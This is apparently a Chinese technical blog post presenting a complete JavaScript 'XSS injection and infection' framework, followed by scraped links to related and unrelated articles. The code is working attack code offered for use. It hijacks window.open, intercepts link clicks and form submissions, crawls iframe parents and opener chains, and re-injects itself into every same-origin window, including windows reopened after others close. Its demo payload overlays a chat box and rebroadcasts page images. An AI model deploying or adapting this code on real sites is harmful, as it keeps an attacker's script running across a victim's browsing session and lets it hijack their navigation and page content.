首先需要了解一下几点:

1.浏览器中Javascript变量的生命周期

  Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收,只要有引用就会一直持续到浏览器关闭。

2.window对象下方法会在在窗口被关闭时清掉,比如:

window.setTimeout(function(){
alert('Hello')
},5000)

  如果窗口被关掉了,那么这个回调是不会执行的[事实上,所有window所有的NativeCode都没办法用了]。

  3.window.opener可以获取打开当前页面的窗口

  4.window.open打开的窗口只要同域,我们是可以操作的[拦截A标签,然后用window.open打开这个页面就好啦]

  5.跨域的窗口无法操作,尝试修改document.domain直接异常

  6.所有代码测试于Chrome浏览器,未测试其他浏览器

下面是代码实现,点击按钮可以立即体验:

点我开启XSS

  


/**
* Created by AepKill on 2015-7-1 10:53:17
* XSS Inject & Infection
*/
var XSS=(function(){
var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
var TOOL={
extend:function(){
if (arguments.length<=0) return {};
var result={};
for(var i= 0,l=arguments.length;i<l;i++){
for (var j in arguments[i]){
result[j]=arguments[i][j];
}
}
return result;
},
//RunCode
injectCode:function(win,code,args,self){
if (! win.window === win){
return false;
}
try {
win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]);
}
catch(e){
}
return true;
},
dispatchMessage:function(winList,args){
winList.getWinList().forEach(function(distWin){
try{
var message=distWin[MODULE_NAME]['Message'];
message.dispatch.apply(message,Array.prototype.slice.call(args));
}catch(e){ }
})
},
sysDispatchMessage:function(winList,args){ }
}; /*Message*/
function Message(){
//消息
var messageList={};
//消息订阅
this.subscription=function(msg){
if (messageList[msg] === undefined ){
messageList[msg]=new Array();
}
Array.prototype.slice.call(arguments,1).forEach(function(e){
if (typeof e == "function") messageList[msg].push(e);
});
};
//消息退订
this.unsubscribe=function(msg){
var msglist=messageList[msg];
Array.prototype.slice.call(arguments,1).forEach(function(e){
for (var i=0;i<msglist.length;i++){
if (msglist[i]==e){
msglist.splice(i,1);
i--;
}
}
});
};
//消息派送
this.dispatch=function(msg){
var args=Array.prototype.slice.call(arguments,1);
if (messageList[msg]){
messageList[msg].forEach(function(e){
e.apply(null,args);
})
}
}
}
/*End With Message*/ /*WinList*/
function CreateWinList(winList){ function WinList(winList){
var winList=winList.concat(); this.deleteWindow=function(win){
for (var i= 0,l=winList.length;i<l;i++){
if (win===winList[i]){
winList.splice(i,1);
break;
}
}
};
this.hasWindow=function(win){
return winList.indexOf(win)!==-1;
};
this.addWindow=function(win){
if (this.hasWindow(win)) return ;
winList.push(win);
}
this.getWinList=function(){
return winList.concat();
};
this.isEmpty=function(){
return winList.length===0;
};
this.clearCloseWindow=function(){
winList.forEach(function(e,i){
if (e.closed){
winList.splice(i,1);
}
})
} }
WinList.prototype=new Message(); return Object.freeze(new WinList(winList));
}
/*End With WinList*/ /*CoreModule*/ function CoreModule(opt,winList,message,TOOL,globalObj){
var window=this;
var _open=window.open;
var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
window[MODULE_NAME]={};
var module=window[MODULE_NAME];
module['Message']=message;
if (module['RunCode'] === undefined) module['RunCode']=false;
window.open=function(){
var win=_open.apply(this,arguments);
if (win){
winList.dispatch('windowJoin',win);
window['openWin']=win;
};
return win;
}; function afterLoad(){
module['RunCode']=true;
TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt);
window.document.addEventListener('click',function(e){
var el= e.target;
do{
if (el.tagName == 'A'){
e.preventDefault();
e.stopPropagation();
window.open(el.href);
break;
}
el=el.parentNode;
}while(el!=document)
});
window.document.addEventListener('submit', function(e){
var name = Math.random().toString();
open('', name);
var form = e.target;
form.target = name;
});
window.addEventListener("unload", function( event ) {
winList.dispatch('windowQuit',window,event);
});
}; window.addEventListener('DOMContentLoaded',function(){
if (module['RunCode']===false) afterLoad();
});
setTimeout(function(){
if (module['RunCode']===false) afterLoad();
},1000);
} /*End With CoreModule*/ var defaults={
runCode:function(winList,win,message,global){
/*
* winList 当前所有感染窗口的列表
* win 执行代码环境的window对象
* message 消息队列 可订阅、发送消息
* global 全局对象
* 说明:runCode在每个窗口都会执行一次
* */
console.log('汪汪汪------');
}
} return function(opt){
var winList=CreateWinList([]);
opt=TOOL.extend(defaults,opt||{});
var globalObj=Object.freeze({
dispatch:function(){
TOOL.dispatchMessage(winList,arguments);
},
getWinList:function(){
return winList.getWinList();
},
data:{ }
});
winList.subscription('windowJoin',function(win){
if (!win.window || win.closed) return ;
winList.clearCloseWindow();
var message=new Message();
TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win);
globalObj.dispatch('windowJoin',win);
winList.addWindow(win);
//console.log('JOIN',winList.getWinList().length);
});
winList.subscription('windowQuit',function(win,event){
winList.clearCloseWindow();
if (winList.hasWindow(win)){
winList.deleteWindow(win);
}else{
return;
} globalObj.dispatch('windowQuit',win); if (!winList.isEmpty()){
var hero=winList.getWinList()[0];
TOOL.injectCode(hero,function(winList,win){
setTimeout(function(){
winList.dispatch('windowJoin',win);
},500);
},[winList,win]);
} }); //从iframe中往上遍历
if (window.top != window.self){
var win = window;
while (win = win.parent) { }
winList.dispatch('windowJoin',win);
}else{
winList.dispatch('windowJoin',window);
} //遍历打开的窗口
var temp1=window.opener;
while(temp1){
winList.dispatch('windowJoin',temp1);
temp1=temp1.opener;
}; };
})(); XSS({
runCode:function(winList,win,message,global) { var window=win; function code() {
var strVar = "";
strVar += "";
strVar += " <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>";
strVar += " <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">";
strVar += "";
strVar += " <\/p>";
strVar += " <form style=\"width: 580px;margin: 10px;\" id=\"form1\">";
strVar += " <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>";
strVar += " <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">广播信息<\/button>";
strVar += " <\/form>";
var css = "";
css += "position:fixed;";
css += "z-index:99999999;";
css += "left:50%;";
css += "top:50%;";
css += "height50%;";
css += "margin-left:-300px;";
css += "margin-top:-225px;";
css += "height: 450px;";
css += "width: 600px;";
css += "border-radius: 10px;";
css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);";
css += "background:rgba(88,88,88,0.8) "; var div=document.createElement('div');
div.style.cssText=css;
div.innerHTML=strVar;
document.body.appendChild(div); var text=document.querySelector('#showBox'); function appendText(txt){
text.innerHTML+=txt+'<br/>';
} document.querySelector('#form1').onsubmit=function(e){
appendText('我说:'+this['content'].value)
global.dispatch('Say', window,'['+document.title+'] 说:'+ this['content'].value);
e.stopPropagation();
e.preventDefault();
return false;
}
appendText('['+document.title+'] 页面被注入了代码');
message.subscription('Say',function(win,message){
if (win!==window) appendText(message);
});
message.subscription('windowJoin',function(win){
appendText('['+win.document.title+'] 页面被注入了代码');
});
message.subscription('windowQuit',function(win){
appendText('['+win.document.title+'] 页面被关闭了');
}); var imgList=window.document.querySelectorAll('img');
var count=0;
var timer=window.setInterval(function(){
appendText('我说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' )
global.dispatch('Say', window,'['+document.title+'] 说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' );
if (count>=imgList){
clearInterval(timer);
}
},2000);
}
if (document.body) {
code();
} else {
window.addEventListener('DOMContentLoaded', code);
}
}
});

 

XSS代码注入框架的更多相关文章

  1. 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

    3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...

  2. HTML5 App的代码注入攻击

    原文链接 摘要 基于HTML5的手机app(译者注:以下简称HTML5 app)越来越流行了, 在大多数情况下它比native应用更容易适配不同的移动操作系统.它开发起来很方便,可以使用标准的web技 ...

  3. [Android]依赖注入框架google的dagger

    分享一下Android依赖注入框架--Google升级版Dagger2框架 Google的Dagger2是对上一版squareup的Dagger改版,话不多说直接上项目代码. Dagger2源码 Da ...

  4. ButterKnife--View注入框架的使用

    作为一名Android开发,是不是经常厌烦了大量的findViewById以及setOnClickListener代码,而ButterKnife是一个专注于Android系统的View注入框架,让你从 ...

  5. 【原】iOS动态性(三) Method Swizzling以及AOP编程:在运行时进行代码注入

    概述 今天我们主要讨论iOS runtime中的一种黑色技术,称为Method Swizzling.字面上理解Method Swizzling可能比较晦涩难懂,毕竟不是中文,不过你可以理解为“移花接木 ...

  6. ButterKnife--View注入框架

    俗话说,不会偷懒的程序员不是好程序员!作为一名Android的开发者,我们已经厌烦了经常写大量的findViewById以及setOnClickListener代码.而ButterKnife是一个专注 ...

  7. Android Dagger依赖注入框架浅析

    今天接触了Dagger这套android的依赖注入框架(DI框架).感觉跟Spring 的IOC差点儿相同吧.这个框架它的优点是它没有採用反射技术(Spring是用反射的),而是用预编译技术.因为基于 ...

  8. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  9. 玩转ButterKnife注入框架

    在去年这个时候,我写过一篇介绍Android注解的文章android注解使用详解,这篇文章主要是介绍了Android中的AndroidAnnotations注入框架,AA框架有它自身的一些优点,这里不 ...

随机推荐

  1. NetScaler 10.1的配置以及结合StoreFront的部署

    工作需要,所以英文+中文,绝壁不是装逼...(关于这点勿喷) This post will cover only the basics for getting NetScaler up and run ...

  2. Windows 下 Docker 的简单学习使用过程之二 Docker For windows

    1. Docker For windows 最新版也支持到了 docker ce 18.06 (这个博客的编写时间是 2018.8.17 当时是最新的) 2. 下载安装. 大概500m 左右的安装文件 ...

  3. require.js text 插件使用

    相比于使用script构建DOM结构,使用HTML标签来构建html是一个很好的方式.然而, 并没有很好的方式可以在js文件中嵌入 HTML .最好的方式是使用 HTML字符串, 但这很难管理,尤其实 ...

  4. phpStudy-坑爹的数据库管理器-phpMyAdmin的默认用户名和密码

    在这里我必须承认自己的弱智,第一次使用phpMyAdmin竟然搞了10分钟才进去!!! 要使用默认的用户名和密码: 用户名:root 密码:root 尼玛!坑爹啊!不说清楚让我百度了半天!!!!

  5. oracle无法通过IP地址进行连接

    在oracle安装完成之后有时候后无法使用IP地址进行连接或者压根无法进行连接,此时我们可以通过配置oracle的监听来解决这个问题: 在开始菜单中找到oracle文件夹的net manager,如下 ...

  6. Luogu5162 WD与积木(生成函数+多项式求逆)

    显然的做法是求出斯特林数,但没有什么优化空间. 考虑一种暴力dp,即设f[i]为i块积木的所有方案层数之和,g[i]为i块积木的方案数.转移时枚举第一层是哪些积木,于是有f[i]=g[i]+ΣC(i, ...

  7. Luogu4980 【模板】Polya定理(Polya定理+欧拉函数)

    对于置换0→i,1→i+1……,其中包含0的循环的元素个数显然是n/gcd(i,n),由对称性,循环节个数即为gcd(i,n). 那么要求的即为Σngcd(i,n)/n(i=0~n-1,也即1~n). ...

  8. MT【183】借力打力

    (2011安徽省赛)设$f(x)=ax^3+bx+c(a,b,c\in R)$,当$0\le x \le1$时,$0\le f(x)\le1$,求$b$的可能的最大值. 分析:$f(0)=c,f(1) ...

  9. JXOI2017颜色 解题报告

    JXOI2017颜色 首先记录每个位置上颜色在序列中上次出现的位置 开两颗线段树,第一棵维护区间最大值,实际上是维护当前必须被删去的颜色的位置的最大值,第二棵则是维护区间和 首先倒着扫一遍,对于当前颜 ...

  10. 做前端好还是Java好?

    做前端好还是Java好?看这三方面 转载 2017年11月14日 00:00:00 1047这几年来伴随着互联网的迅速发展,新兴互联网产业的兴起,传统行业也逐渐开始互联网化,使得互联网职业在这样的背景 ...